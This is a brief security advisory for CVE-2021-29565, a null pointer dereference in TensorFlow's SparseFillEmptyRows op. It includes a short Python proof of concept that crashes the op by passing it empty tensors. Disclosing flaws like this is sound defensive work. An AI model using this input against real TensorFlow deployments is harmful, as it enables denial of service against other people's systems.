CVE-2021-29565: Null pointer dereference in `SparseFillEmptyRows`

(updated )

An attacker can trigger a null pointer dereference in the implementation of tf.raw_ops.SparseFillEmptyRows:

import tensorflow as tf

indices = tf.constant([], shape=[0, 0], dtype=tf.int64)
values = tf.constant([], shape=[0], dtype=tf.int64)
dense_shape = tf.constant([], shape=[0], dtype=tf.int64)
default_value = 0

tf.raw_ops.SparseFillEmptyRows(
indices=indices, values=values, dense_shape=dense_shape,
default_value=default_value)

References

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